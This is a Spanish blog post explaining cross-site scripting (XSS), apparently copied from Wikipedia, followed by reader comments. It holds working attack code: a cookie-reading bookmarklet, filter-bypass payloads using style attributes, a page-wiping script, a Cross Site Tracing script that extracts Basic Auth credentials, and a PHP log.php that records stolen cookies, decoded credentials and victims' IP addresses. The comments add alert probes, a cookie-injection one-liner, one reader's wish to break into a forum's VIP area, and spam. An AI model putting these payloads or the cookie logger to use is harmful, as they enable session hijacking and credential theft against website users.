Navegando encontre una nueva palabra “XSS” que al principio no tenía ni idea de lo que significaba, pero leyendo algunos artículos sobre el tema, me di cuenta que es muy importante que todos los desarrolladores Web sepamos de que se trata, por eso les dejo este artículo extraido de la WIKIPEDIA.
Introduccion
XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del inglés “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS “HTML Injection”, sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

  • Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
  • Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

Indirecta
Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(‘;’))void(prompt(“Valor de cookie “+document.cookie.split(‘;’)[g].split(‘=’)[0],document.cookie.split(‘;’)[g].split(‘=’)[1]));alert
(“Cookies:\n”+document.cookie.replace(/;/,”\r\n”));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?
javascript:while(1)alert(“Te estoy inundando de mensajes!”);
Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Mensaje personalizado
La técnica sólo funciona con imágenes:
error.php?error=Usuario%20Invalido
Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.

Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:
<script>
document.documentElement.innerHTML=”NADA”;
</script>
Directa
Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.
Ejemplos de Scripts donde no son comunes de encontrar
<BR SIZE=”&{alert(‘XSS’)}”>
<FK STYLE=”behavior: url(http://yoursite/xss.htc);”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert(‘Hola’):
<div fu=”alert(‘Hola’);” STYLE=”background-image: url(javascript:eval(this.fu))”>
Ajax
Éste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
Script para obtener credenciales en tipo BASIC
Esta tecnica también es llamada XST Cross Site Tracing XST
var xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open(“TRACE”,”./”,false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split(“Authorization: Basic “);

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);
Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
log.php para registrar cookies
<?php

$archivo = fopen(‘log2.htm’,’a’);

$cookie = $_GET[‘c’];

$usuario = $_GET[‘id’];

$ip = getenv (‘REMOTE_ADDR’);

$re = $HTTPREFERRER;

$fecha=date(“j F, Y, g:i a”);

fwrite($archivo, ‘<hr>USUARIO Y PASSWORD: ‘.htmlentities(base64_decode($usuario)));
fwrite($archivo, ‘<br>Cookie: ‘.htmlentities($cookie).'<br>Pagina: ‘.htmlentities($re));
fwrite($archivo, ‘<br> IP: ‘ .$ip. ‘<br> Fecha y Hora: ‘ .$fecha. ‘</hr>’);

fclose($archivo);

?>

comentarios
  1. saul dice:

    am.. orale creo que esta chido todo es, pero la verdad es que no se como usarlo, se manejra el “html”, lo uso con Dreamweaver y quisiera saber como usarlo y acer algo, por ejemplo:

    acer una pagina en la que al entrar y poner algo correspondiente en otra pagina le pase eso. Tengo un foro, y al entrar hay es una pagina para que el foro pueda poner automaticamente el nombre de usuarios que entran, x decir un contador de vicitas (Esto es un ejmplo)…

    ASI QUE ME GUSTARIA QUE ME AYUDARAS XFAS…

    MI MSN
    ES:

    ydrahffej_777@hotmail.com

  2. jose dice:

    hola, no entiendo mucho de esto, pero quisiera ver si con esto que dicen, podria entrar a la seccion vip de un foro, pero no lo quiero para hacer un mal uso de el, simplemente quisiera poder entrar a los foros VIP, si alguien sabe y quisiera ayudarme se los agradeceria

  3. rayo dice:

    bueno esos atakes son los mas comunes y sencillos a seguir😀 bueno les explikare un poco sobre esto de xss.
    para ver si es vulnerable solo en la barra de buskeda o search pongan este codigo : alert(“Hi bug error defacing matdar :)”) . bueno en lo matdar cambienlo bueno eso no abra la diferencia bueno seguramente le saltara el cartelito de alerta ay ya saben q el sitio es bulnerable

  4. ola dice:

    javascript:void prompt(“Introduce la cookie:”,document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});

  5. ola dice:

    ya ven cabrones estapinche pagina es vulnerable.

  6. Gonzac dice:

    Hola, la verdad que debo felicitarte!, el articulo está genial y muy bien explicado.
    Es incrible la cantidad de paginas diseñadas por gente que sabe, y dejan de lado estas simples cosas.

    Estube escribiendo sobre “xss en uri”, es algo similar pero sobre otros tipo de variables php.
    Te dejo el link por si les interesa
    http://gonzac-studios.blogspot.com/2011/11/hack-ejecucion-de-codigo-en-uri.html

    Saludos!

  7. Hola dice:

    alert(“xd Facebook.com”);

  8. alert("xd Facebook.com"); dice:

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

    alert(“xd Facebook.com”);

  9. mk dice:

    alert(‘hacked’)

  10. Selma dice:

    There are ebbs and flows in their sales yet they remain remarkably consistent businesses for most of their runs.

    Rich people are rich because they know the true value of money and hence they manage their business.
    They are expensive and are sometimes are known to exceed the price of
    cars as well.

  11. Dorthy dice:

    In the four tournaments since his first of the season,
    he. Port forwarding lets you specify which ports the game needs to
    perform at it’s best. Well, you can have that same chess engine on your Android mobile phone, courtesy of Droid – Fish.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s